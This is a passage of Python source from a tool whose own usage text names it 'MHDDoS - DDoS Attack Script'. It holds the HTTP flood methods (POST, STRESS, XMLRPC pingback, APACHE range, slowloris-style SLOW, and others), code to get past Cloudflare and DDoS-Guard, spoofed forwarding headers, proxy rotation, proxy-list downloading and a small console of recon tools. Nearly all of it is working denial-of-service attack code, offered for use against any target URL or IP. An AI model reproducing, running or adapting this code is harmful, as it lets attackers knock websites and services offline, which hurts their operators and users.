  655. 'Mozilla/5.0 (Linux; U; Android 2.3.5; zh-cn; HTC_IncredibleS_S710e Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
  656. 'Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; HTC Vision Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
  657. 'Mozilla/5.0 (Linux; U; Android 2.3.4; fr-fr; HTC Desire Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
  658. 'Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; T-Mobile myTouch 3G Slide Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
  659. 'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
  660. 'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari',
  661. 'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
  662. 'Mozilla/5.0 (Linux; U; Android 2.3.3; ko-kr; LG-LU3000 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
  663. 'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
  664. 'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile',
  665. 'Mozilla/5.0 (Linux; U; Android 2.3.3; de-de; HTC Desire Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
  666. 'Mozilla/5.0 (Linux; U; Android 2.3.3; de-ch; HTC Desire Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
  667. 'Mozilla/5.0 (Linux; U; Android 2.2; fr-lu; HTC Legend Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
  668. 'Mozilla/5.0 (Linux; U; Android 2.2; en-sa; HTC_DesireHD_A9191 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
  669. 'Mozilla/5.0 (Linux; U; Android 2.2.1; fr-fr; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
  670. 'Mozilla/5.0 (Linux; U; Android 2.2.1; en-gb; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
  671. 'Mozilla/5.0 (Linux; U; Android 2.2.1; en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'
  672. ]
  673. self._useragents = list(useragents)
  674. self._req_type = self.getMethodType(method)
  675. self._defaultpayload = "%s %s HTTP/%s\r\n" % (self._req_type,
  676. target.raw_path_qs, randchoice(['1.0', '1.1', '1.2']))
  677. self._payload = (self._defaultpayload +
  678. 'Accept-Encoding: gzip, deflate, br\r\n'
  679. 'Accept-Language: en-US,en;q=0.9\r\n'
  680. 'Cache-Control: max-age=0\r\n'
  681. 'Connection: keep-alive\r\n'
  682. 'Sec-Fetch-Dest: document\r\n'
  683. 'Sec-Fetch-Mode: navigate\r\n'
  684. 'Sec-Fetch-Site: none\r\n'
  685. 'Sec-Fetch-User: ?1\r\n'
  686. 'Sec-Gpc: 1\r\n'
  687. 'Pragma: no-cache\r\n'
  688. 'Upgrade-Insecure-Requests: 1\r\n')
  689. def select(self, name: str) -> None:
  690. self.SENT_FLOOD = self.GET
  691. for key, value in self.methods.items():
  692. if name == key:
  693. self.SENT_FLOOD = value
  694. def run(self) -> None:
  695. if self._synevent: self._synevent.wait()
  696. self.select(self._method)
  697. while self._synevent.is_set():
  698. self.SENT_FLOOD()
  699. @property
  700. def SpoofIP(self) -> str:
  701. spoof: str = ProxyTools.Random.rand_ipv4()
  702. return ("X-Forwarded-Proto: Http\r\n"
  703. f"X-Forwarded-Host: {self._target.raw_host}, 1.1.1.1\r\n"
  704. f"Via: {spoof}\r\n"
  705. f"Client-IP: {spoof}\r\n"
  706. f'X-Forwarded-For: {spoof}\r\n'
  707. f'Real-IP: {spoof}\r\n')
  708. def generate_payload(self, other: str = None) -> bytes:
  709. return str.encode((self._payload +
  710. f"Host: {self._target.authority}\r\n" +
  711. self.randHeadercontent +
  712. (other if other else "") +
  713. "\r\n"))
  714. def open_connection(self, host=None) -> socket:
  715. if self._proxies:
  716. sock = randchoice(self._proxies).open_socket(AF_INET, SOCK_STREAM)
  717. else:
  718. sock = socket(AF_INET, SOCK_STREAM)
  719. sock.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
  720. sock.settimeout(.9)
  721. sock.connect(host or self._raw_target)
  722. if self._target.scheme.lower() == "https":
  723. sock = ctx.wrap_socket(sock,
  724. server_hostname=host[0] if host else self._target.host,
  725. server_side=False,
  726. do_handshake_on_connect=True,
  727. suppress_ragged_eofs=True)
  728. return sock
  729. @property
  730. def randHeadercontent(self) -> str:
  731. return (f"User-Agent: {randchoice(self._useragents)}\r\n"
  732. f"Referrer: {randchoice(self._referers)}{parse.quote(self._target.human_repr())}\r\n" +
  733. self.SpoofIP)
  734. @staticmethod
  735. def getMethodType(method: str) -> str:
  736. return "GET" if {method.upper()} & {"CFB", "CFBUAM", "GET", "TOR", "COOKIE", "OVH", "EVEN",
  737. "DYN", "SLOW", "PPS", "APACHE",
  738. "BOT", "RHEX", "STOMP"} \
  739. else "POST" if {method.upper()} & {"POST", "XMLRPC", "STRESS"} \
  740. else "HEAD" if {method.upper()} & {"GSB", "HEAD"} \
  741. else "REQUESTS"
  742. def POST(self) -> None:
  743. payload: bytes = self.generate_payload(
  744. ("Content-Length: 44\r\n"
  745. "X-Requested-With: XMLHttpRequest\r\n"
  746. "Content-Type: application/json\r\n\r\n"
  747. '{"data": %s}') % ProxyTools.Random.rand_str(32))[:-2]
  748. s = None
  749. with suppress(Exception), self.open_connection() as s:
  750. for _ in range(self._rpc):
  751. Tools.send(s, payload)
  752. Tools.safe_close(s)
  753. def TOR(self) -> None:
  754. provider = "." + randchoice(tor2webs)
  755. target = self._target.authority.replace(".onion", provider)
  756. payload: Any = str.encode(self._payload +
  757. f"Host: {target}\r\n" +
  758. self.randHeadercontent +
  759. "\r\n")
  760. s = None
  761. target = self._target.host.replace(".onion", provider), self._raw_target[1]
  762. with suppress(Exception), self.open_connection(target) as s:
  763. for _ in range(self._rpc):
  764. Tools.send(s, payload)
  765. Tools.safe_close(s)
  766. def STRESS(self) -> None:
  767. payload: bytes = self.generate_payload(
  768. ("Content-Length: 524\r\n"
  769. "X-Requested-With: XMLHttpRequest\r\n"
  770. "Content-Type: application/json\r\n\r\n"
  771. '{"data": %s}') % ProxyTools.Random.rand_str(512))[:-2]
  772. s = None
  773. with suppress(Exception), self.open_connection() as s:
  774. for _ in range(self._rpc):
  775. Tools.send(s, payload)
  776. Tools.safe_close(s)
  777. def COOKIES(self) -> None:
  778. payload: bytes = self.generate_payload(
  779. "Cookie: _ga=GA%s;"
  780. " _gat=1;"
  781. " __cfduid=dc232334gwdsd23434542342342342475611928;"
  782. " %s=%s\r\n" %
  783. (ProxyTools.Random.rand_int(1000, 99999), ProxyTools.Random.rand_str(6),
  784. ProxyTools.Random.rand_str(32)))
  785. s = None
  786. with suppress(Exception), self.open_connection() as s:
  787. for _ in range(self._rpc):
  788. Tools.send(s, payload)
  789. Tools.safe_close(s)
  790. def APACHE(self) -> None:
  791. payload: bytes = self.generate_payload(
  792. "Range: bytes=0-,%s" % ",".join("5-%d" % i
  793. for i in range(1, 1024)))
  794. s = None
  795. with suppress(Exception), self.open_connection() as s:
  796. for _ in range(self._rpc):
  797. Tools.send(s, payload)
  798. Tools.safe_close(s)
  799. def XMLRPC(self) -> None:
  800. payload: bytes = self.generate_payload(
  801. ("Content-Length: 345\r\n"
  802. "X-Requested-With: XMLHttpRequest\r\n"
  803. "Content-Type: application/xml\r\n\r\n"
  804. "<?xml version='1.0' encoding='iso-8859-1'?>"
  805. "<methodCall><methodName>pingback.ping</methodName>"
  806. "<params><param><value><string>%s</string></value>"
  807. "</param><param><value><string>%s</string>"
  808. "</value></param></params></methodCall>") %
  809. (ProxyTools.Random.rand_str(64),
  810. ProxyTools.Random.rand_str(64)))[:-2]
  811. s = None
  812. with suppress(Exception), self.open_connection() as s:
  813. for _ in range(self._rpc):
  814. Tools.send(s, payload)
  815. Tools.safe_close(s)
  816. def PPS(self) -> None:
  817. payload: Any = str.encode(self._defaultpayload +
  818. f"Host: {self._target.authority}\r\n\r\n")
  819. s = None
  820. with suppress(Exception), self.open_connection() as s:
  821. for _ in range(self._rpc):
  822. Tools.send(s, payload)
  823. Tools.safe_close(s)
  824. def KILLER(self) -> None:
  825. while True:
  826. Thread(target=self.GET, daemon=True).start()
  827. def GET(self) -> None:
  828. payload: bytes = self.generate_payload()
  829. s = None
  830. with suppress(Exception), self.open_connection() as s:
  831. for _ in range(self._rpc):
  832. Tools.send(s, payload)
  833. Tools.safe_close(s)
  834. def BOT(self) -> None:
  835. payload: bytes = self.generate_payload()
  836. p1, p2 = str.encode(
  837. "GET /robots.txt HTTP/1.1\r\n"
  838. "Host: %s\r\n" % self._target.raw_authority +
  839. "Connection: Keep-Alive\r\n"
  840. "Accept: text/plain,text/html,*/*\r\n"
  841. "User-Agent: %s\r\n" % randchoice(google_agents) +
  842. "Accept-Encoding: gzip,deflate,br\r\n\r\n"), str.encode(
  843. "GET /sitemap.xml HTTP/1.1\r\n"
  844. "Host: %s\r\n" % self._target.raw_authority +
  845. "Connection: Keep-Alive\r\n"
  846. "Accept: */*\r\n"
  847. "From: googlebot(at)googlebot.com\r\n"
  848. "User-Agent: %s\r\n" % randchoice(google_agents) +
  849. "Accept-Encoding: gzip,deflate,br\r\n"
  850. "If-None-Match: %s-%s\r\n" % (ProxyTools.Random.rand_str(9),
  851. ProxyTools.Random.rand_str(4)) +
  852. "If-Modified-Since: Sun, 26 Set 2099 06:00:00 GMT\r\n\r\n")
  853. s = None
  854. with suppress(Exception), self.open_connection() as s:
  855. Tools.send(s, p1)
  856. Tools.send(s, p2)
  857. for _ in range(self._rpc):
  858. Tools.send(s, payload)
  859. Tools.safe_close(s)
  860. def EVEN(self) -> None:
  861. payload: bytes = self.generate_payload()
  862. s = None
  863. with suppress(Exception), self.open_connection() as s:
  864. while Tools.send(s, payload) and s.recv(1):
  865. continue
  866. Tools.safe_close(s)
  867. def OVH(self) -> None:
  868. payload: bytes = self.generate_payload()
  869. s = None
  870. with suppress(Exception), self.open_connection() as s:
  871. for _ in range(min(self._rpc, 5)):
  872. Tools.send(s, payload)
  873. Tools.safe_close(s)
  874. def CFB(self):
  875. global REQUESTS_SENT, BYTES_SEND
  876. pro = None
  877. if self._proxies:
  878. pro = randchoice(self._proxies)
  879. s = None
  880. with suppress(Exception), create_scraper() as s:
  881. for _ in range(self._rpc):
  882. if pro:
  883. with s.get(self._target.human_repr(),
  884. proxies=pro.asRequest()) as res:
  885. REQUESTS_SENT += 1
  886. BYTES_SEND += Tools.sizeOfRequest(res)
  887. continue
  888. with s.get(self._target.human_repr()) as res:
  889. REQUESTS_SENT += 1
  890. BYTES_SEND += Tools.sizeOfRequest(res)
  891. Tools.safe_close(s)
  892. def CFBUAM(self):
  893. payload: bytes = self.generate_payload()
  894. s = None
  895. with suppress(Exception), self.open_connection() as s:
  896. Tools.send(s, payload)
  897. sleep(5.01)
  898. ts = time()
  899. for _ in range(self._rpc):
  900. Tools.send(s, payload)
  901. if time() > ts + 120: break
  902. Tools.safe_close(s)
  903. def AVB(self):
  904. payload: bytes = self.generate_payload()
  905. s = None
  906. with suppress(Exception), self.open_connection() as s:
  907. for _ in range(self._rpc):
  908. sleep(max(self._rpc / 1000, 1))
  909. Tools.send(s, payload)
  910. Tools.safe_close(s)
  911. def DGB(self):
  912. global REQUESTS_SENT, BYTES_SEND
  913. with suppress(Exception):
  914. if self._proxies:
  915. pro = randchoice(self._proxies)
  916. with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents), pro.asRequest()) as ss:
  917. for _ in range(min(self._rpc, 5)):
  918. sleep(min(self._rpc, 5) / 100)
  919. with ss.get(self._target.human_repr(),
  920. proxies=pro.asRequest()) as res:
  921. REQUESTS_SENT += 1
  922. BYTES_SEND += Tools.sizeOfRequest(res)
  923. continue
  924. Tools.safe_close(ss)
  925. with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents)) as ss:
  926. for _ in range(min(self._rpc, 5)):
  927. sleep(min(self._rpc, 5) / 100)
  928. with ss.get(self._target.human_repr()) as res:
  929. REQUESTS_SENT += 1
  930. BYTES_SEND += Tools.sizeOfRequest(res)
  931. Tools.safe_close(ss)
  932. def DYN(self):
  933. payload: Any = str.encode(self._payload +
  934. f"Host: {ProxyTools.Random.rand_str(6)}.{self._target.authority}\r\n" +
  935. self.randHeadercontent +
  936. "\r\n")
  937. s = None
  938. with suppress(Exception), self.open_connection() as s:
  939. for _ in range(self._rpc):
  940. Tools.send(s, payload)
  941. Tools.safe_close(s)
  942. def DOWNLOADER(self):
  943. payload: Any = self.generate_payload()
  944. s = None
  945. with suppress(Exception), self.open_connection() as s:
  946. for _ in range(self._rpc):
  947. Tools.send(s, payload)
  948. while 1:
  949. sleep(.01)
  950. data = s.recv(1)
  951. if not data:
  952. break
  953. Tools.send(s, b'0')
  954. Tools.safe_close(s)
  955. def BYPASS(self):
  956. global REQUESTS_SENT, BYTES_SEND
  957. pro = None
  958. if self._proxies:
  959. pro = randchoice(self._proxies)
  960. s = None
  961. with suppress(Exception), Session() as s:
  962. for _ in range(self._rpc):
  963. if pro:
  964. with s.get(self._target.human_repr(),
  965. proxies=pro.asRequest()) as res:
  966. REQUESTS_SENT += 1
  967. BYTES_SEND += Tools.sizeOfRequest(res)
  968. continue
  969. with s.get(self._target.human_repr()) as res:
  970. REQUESTS_SENT += 1
  971. BYTES_SEND += Tools.sizeOfRequest(res)
  972. Tools.safe_close(s)
  973. def GSB(self):
  974. payload = str.encode("%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type,
  975. self._target.raw_path_qs,
  976. ProxyTools.Random.rand_str(6)) +
  977. "Host: %s\r\n" % self._target.authority +
  978. self.randHeadercontent +
  979. 'Accept-Encoding: gzip, deflate, br\r\n'
  980. 'Accept-Language: en-US,en;q=0.9\r\n'
  981. 'Cache-Control: max-age=0\r\n'
  982. 'Connection: Keep-Alive\r\n'
  983. 'Sec-Fetch-Dest: document\r\n'
  984. 'Sec-Fetch-Mode: navigate\r\n'
  985. 'Sec-Fetch-Site: none\r\n'
  986. 'Sec-Fetch-User: ?1\r\n'
  987. 'Sec-Gpc: 1\r\n'
  988. 'Pragma: no-cache\r\n'
  989. 'Upgrade-Insecure-Requests: 1\r\n\r\n')
  990. s = None
  991. with suppress(Exception), self.open_connection() as s:
  992. for _ in range(self._rpc):
  993. Tools.send(s, payload)
  994. Tools.safe_close(s)
  995. def RHEX(self):
  996. randhex = str(randbytes(randchoice([32, 64, 128])))
  997. payload = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
  998. self._target.authority,
  999. randhex) +
  1000. "Host: %s/%s\r\n" % (self._target.authority, randhex) +
  1001. self.randHeadercontent +
  1002. 'Accept-Encoding: gzip, deflate, br\r\n'
  1003. 'Accept-Language: en-US,en;q=0.9\r\n'
  1004. 'Cache-Control: max-age=0\r\n'
  1005. 'Connection: keep-alive\r\n'
  1006. 'Sec-Fetch-Dest: document\r\n'
  1007. 'Sec-Fetch-Mode: navigate\r\n'
  1008. 'Sec-Fetch-Site: none\r\n'
  1009. 'Sec-Fetch-User: ?1\r\n'
  1010. 'Sec-Gpc: 1\r\n'
  1011. 'Pragma: no-cache\r\n'
  1012. 'Upgrade-Insecure-Requests: 1\r\n\r\n')
  1013. s = None
  1014. with suppress(Exception), self.open_connection() as s:
  1015. for _ in range(self._rpc):
  1016. Tools.send(s, payload)
  1017. Tools.safe_close(s)
  1018. def STOMP(self):
  1019. dep = ('Accept-Encoding: gzip, deflate, br\r\n'
  1020. 'Accept-Language: en-US,en;q=0.9\r\n'
  1021. 'Cache-Control: max-age=0\r\n'
  1022. 'Connection: keep-alive\r\n'
  1023. 'Sec-Fetch-Dest: document\r\n'
  1024. 'Sec-Fetch-Mode: navigate\r\n'
  1025. 'Sec-Fetch-Site: none\r\n'
  1026. 'Sec-Fetch-User: ?1\r\n'
  1027. 'Sec-Gpc: 1\r\n'
  1028. 'Pragma: no-cache\r\n'
  1029. 'Upgrade-Insecure-Requests: 1\r\n\r\n')
  1030. hexh = r'\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87' \
  1031. r'\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F' \
  1032. r'\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F' \
  1033. r'\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84' \
  1034. r'\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F' \
  1035. r'\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98' \
  1036. r'\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98' \
  1037. r'\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B' \
  1038. r'\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99' \
  1039. r'\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C' \
  1040. r'\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA '
  1041. p1, p2 = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
  1042. self._target.authority,
  1043. hexh) +
  1044. "Host: %s/%s\r\n" % (self._target.authority, hexh) +
  1045. self.randHeadercontent + dep), str.encode(
  1046. "%s %s/cdn-cgi/l/chk_captcha HTTP/1.1\r\n" % (self._req_type,
  1047. self._target.authority) +
  1048. "Host: %s\r\n" % hexh +
  1049. self.randHeadercontent + dep)
  1050. s = None
  1051. with suppress(Exception), self.open_connection() as s:
  1052. Tools.send(s, p1)
  1053. for _ in range(self._rpc):
  1054. Tools.send(s, p2)
  1055. Tools.safe_close(s)
  1056. def NULL(self) -> None:
  1057. payload: Any = str.encode(self._payload +
  1058. f"Host: {self._target.authority}\r\n" +
  1059. "User-Agent: null\r\n" +
  1060. "Referrer: null\r\n" +
  1061. self.SpoofIP + "\r\n")
  1062. s = None
  1063. with suppress(Exception), self.open_connection() as s:
  1064. for _ in range(self._rpc):
  1065. Tools.send(s, payload)
  1066. Tools.safe_close(s)
  1067. def BOMB(self):
  1068. assert self._proxies, \
  1069. 'This method requires proxies. ' \
  1070. 'Without proxies you can use github.com/codesenberg/bombardier'
  1071. while True:
  1072. proxy = randchoice(self._proxies)
  1073. if proxy.type != ProxyType.SOCKS4:
  1074. break
  1075. res = run(
  1076. [
  1077. f'{bombardier_path}',
  1078. f'--connections={self._rpc}',
  1079. '--http2',
  1080. '--method=GET',
  1081. '--latencies',
  1082. '--timeout=30s',
  1083. f'--requests={self._rpc}',
  1084. f'--proxy={proxy}',
  1085. f'{self._target.human_repr()}',
  1086. ],
  1087. stdout=PIPE,
  1088. )
  1089. if self._thread_id == 0:
  1090. print(proxy, res.stdout.decode(), sep='\n')
  1091. def SLOW(self):
  1092. payload: bytes = self.generate_payload()
  1093. s = None
  1094. with suppress(Exception), self.open_connection() as s:
  1095. for _ in range(self._rpc):
  1096. Tools.send(s, payload)
  1097. while Tools.send(s, payload) and s.recv(1):
  1098. for i in range(self._rpc):
  1099. keep = str.encode("X-a: %d\r\n" % ProxyTools.Random.rand_int(1, 5000))
  1100. Tools.send(s, keep)
  1101. sleep(self._rpc / 15)
  1102. break
  1103. Tools.safe_close(s)
  1104. class ProxyManager:
  1105. @staticmethod
  1106. def DownloadFromConfig(cf, Proxy_type: int) -> Set[Proxy]:
  1107. providrs = [
  1108. provider for provider in cf["proxy-providers"]
  1109. if provider["type"] == Proxy_type or Proxy_type == 0
  1110. ]
  1111. logger.info(
  1112. f"{bcolors.WARNING}Downloading Proxies from {bcolors.OKBLUE}%d{bcolors.WARNING} Providers{bcolors.RESET}" % len(
  1113. providrs))
  1114. proxes: Set[Proxy] = set()
  1115. with ThreadPoolExecutor(len(providrs)) as executor:
  1116. future_to_download = {
  1117. executor.submit(
  1118. ProxyManager.download, provider,
  1119. ProxyType.stringToProxyType(str(provider["type"])))
  1120. for provider in providrs
  1121. }
  1122. for future in as_completed(future_to_download):
  1123. for pro in future.result():
  1124. proxes.add(pro)
  1125. return proxes
  1126. @staticmethod
  1127. def download(provider, proxy_type: ProxyType) -> Set[Proxy]:
  1128. logger.debug(
  1129. f"{bcolors.WARNING}Proxies from (URL: {bcolors.OKBLUE}%s{bcolors.WARNING}, Type: {bcolors.OKBLUE}%s{bcolors.WARNING}, Timeout: {bcolors.OKBLUE}%d{bcolors.WARNING}){bcolors.RESET}" %
  1130. (provider["url"], proxy_type.name, provider["timeout"]))
  1131. proxes: Set[Proxy] = set()
  1132. with suppress(TimeoutError, exceptions.ConnectionError,
  1133. exceptions.ReadTimeout):
  1134. data = get(provider["url"], timeout=provider["timeout"]).text
  1135. try:
  1136. for proxy in ProxyUtiles.parseAllIPPort(
  1137. data.splitlines(), proxy_type):
  1138. proxes.add(proxy)
  1139. except Exception as e:
  1140. logger.error(f'Download Proxy Error: {(e.__str__() or e.__repr__())}')
  1141. return proxes
  1142. class ToolsConsole:
  1143. METHODS = {"INFO", "TSSRV", "CFIP", "DNS", "PING", "CHECK", "DSTAT"}
  1144. @staticmethod
  1145. def checkRawSocket():
  1146. with suppress(OSError):
  1147. with socket(AF_INET, SOCK_RAW, IPPROTO_TCP):
  1148. return True
  1149. return False
  1150. @staticmethod
  1151. def runConsole():
  1152. cons = f"{gethostname()}@MHTools:~#"
  1153. while 1:
  1154. cmd = input(cons + " ").strip()
  1155. if not cmd: continue
  1156. if " " in cmd:
  1157. cmd, args = cmd.split(" ", 1)
  1158. cmd = cmd.upper()
  1159. if cmd == "HELP":
  1160. print("Tools:" + ", ".join(ToolsConsole.METHODS))
  1161. print("Commands: HELP, CLEAR, BACK, EXIT")
  1162. continue
  1163. if {cmd} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
  1164. exit(-1)
  1165. if cmd == "CLEAR":
  1166. print("\033c")
  1167. continue
  1168. if not {cmd} & ToolsConsole.METHODS:
  1169. print(f"{cmd} command not found")
  1170. continue
  1171. if cmd == "DSTAT":
  1172. with suppress(KeyboardInterrupt):
  1173. ld = net_io_counters(pernic=False)
  1174. while True:
  1175. sleep(1)
  1176. od = ld
  1177. ld = net_io_counters(pernic=False)
  1178. t = [(last - now) for now, last in zip(od, ld)]
  1179. logger.info(
  1180. ("Bytes Sent %s\n"
  1181. "Bytes Received %s\n"
  1182. "Packets Sent %s\n"
  1183. "Packets Received %s\n"
  1184. "ErrIn %s\n"
  1185. "ErrOut %s\n"
  1186. "DropIn %s\n"
  1187. "DropOut %s\n"
  1188. "Cpu Usage %s\n"
  1189. "Memory %s\n") %
  1190. (Tools.humanbytes(t[0]), Tools.humanbytes(t[1]),
  1191. Tools.humanformat(t[2]), Tools.humanformat(t[3]),
  1192. t[4], t[5], t[6], t[7], str(cpu_percent()) + "%",
  1193. str(virtual_memory().percent) + "%"))
  1194. if cmd in ["CFIP", "DNS"]:
  1195. print("Soon")
  1196. continue
  1197. if cmd == "CHECK":
  1198. while True:
  1199. with suppress(Exception):
  1200. domain = input(f'{cons}give-me-ipaddress# ')
  1201. if not domain: continue
  1202. if domain.upper() == "BACK": break
  1203. if domain.upper() == "CLEAR":
  1204. print("\033c")
  1205. continue
  1206. if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
  1207. exit(-1)
  1208. if "/" not in domain: continue
  1209. logger.info("please wait ...")
  1210. with get(domain, timeout=20) as r:
  1211. logger.info(('status_code: %d\n'
  1212. 'status: %s') %
  1213. (r.status_code, "ONLINE"
  1214. if r.status_code <= 500 else "OFFLINE"))
  1215. if cmd == "INFO":
  1216. while True:
  1217. domain = input(f'{cons}give-me-ipaddress# ')
  1218. if not domain: continue
  1219. if domain.upper() == "BACK": break
  1220. if domain.upper() == "CLEAR":
  1221. print("\033c")
  1222. continue
  1223. if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
  1224. exit(-1)
  1225. domain = domain.replace('https://',
  1226. '').replace('http://', '')
  1227. if "/" in domain: domain = domain.split("/")[0]
  1228. print('please wait ...', end="\r")
  1229. info = ToolsConsole.info(domain)
  1230. if not info["success"]:
  1231. print("Error!")
  1232. continue
  1233. logger.info(("Country: %s\n"
  1234. "City: %s\n"
  1235. "Org: %s\n"
  1236. "Isp: %s\n"
  1237. "Region: %s\n") %
  1238. (info["country"], info["city"], info["org"],
  1239. info["isp"], info["region"]))
  1240. if cmd == "TSSRV":
  1241. while True:
  1242. domain = input(f'{cons}give-me-domain# ')
  1243. if not domain: continue
  1244. if domain.upper() == "BACK": break
  1245. if domain.upper() == "CLEAR":
  1246. print("\033c")
  1247. continue
  1248. if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
  1249. exit(-1)
  1250. domain = domain.replace('https://',
  1251. '').replace('http://', '')
  1252. if "/" in domain: domain = domain.split("/")[0]
  1253. print('please wait ...', end="\r")
  1254. info = ToolsConsole.ts_srv(domain)
  1255. logger.info(f"TCP: {(info['_tsdns._tcp.'])}\n")
  1256. logger.info(f"UDP: {(info['_ts3._udp.'])}\n")
  1257. if cmd == "PING":
  1258. while True:
  1259. domain = input(f'{cons}give-me-ipaddress# ')
  1260. if not domain: continue
  1261. if domain.upper() == "BACK": break
  1262. if domain.upper() == "CLEAR":
  1263. print("\033c")
  1264. if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
  1265. exit(-1)
  1266. domain = domain.replace('https://',
  1267. '').replace('http://', '')
  1268. if "/" in domain: domain = domain.split("/")[0]
  1269. logger.info("please wait ...")
  1270. r = ping(domain, count=5, interval=0.2)
  1271. logger.info(('Address: %s\n'
  1272. 'Ping: %d\n'
  1273. 'Aceepted Packets: %d/%d\n'
  1274. 'status: %s\n') %
  1275. (r.address, r.avg_rtt, r.packets_received,
  1276. r.packets_sent,
  1277. "ONLINE" if r.is_alive else "OFFLINE"))
  1278. @staticmethod
  1279. def stop():
  1280. print('All Attacks has been Stopped !')
  1281. for proc in process_iter():
  1282. if proc.name() == "python.exe":
  1283. proc.kill()
  1284. @staticmethod
  1285. def usage():
  1286. print((
  1287. '* MHDDoS - DDoS Attack Script With %d Methods\n'
  1288. 'Note: If the Proxy list is empty, The attack will run without proxies\n'
  1289. ' If the Proxy file doesn\'t exist, the script will download proxies and check them.\n'
  1290. ' Proxy Type 0 = All in config.json\n'
  1291. ' SocksTypes:\n'
  1292. ' - 6 = RANDOM\n'
  1293. ' - 5 = SOCKS5\n'
  1294. ' - 4 = SOCKS4\n'
  1295. ' - 1 = HTTP\n'
  1296. ' - 0 = ALL\n'
  1297. ' > Methods:\n'
  1298. ' - Layer4\n'
  1299. ' | %s | %d Methods\n'
  1300. ' - Layer7\n'
  1301. ' | %s | %d Methods\n'
  1302. ' - Tools\n'
  1303. ' | %s | %d Methods\n'
  1304. ' - Others\n'
  1305. ' | %s | %d Methods\n'
  1306. ' - All %d Methods\n'
  1307. '\n'
  1308. 'Example:\n'
  1309. ' L7: python3 %s <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional>\n'
  1310. ' L4: python3 %s <method> <ip:port> <threads> <duration>\n'
  1311. ' L4 Proxied: python3 %s <method> <ip:port> <threads> <duration> <socks_type> <proxylist>\n'
  1312. ' L4 Amplification: python3 %s <method> <ip:port> <threads> <duration> <reflector file (only use with'
  1313. ' Amplification)>\n') %
  1314. (len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
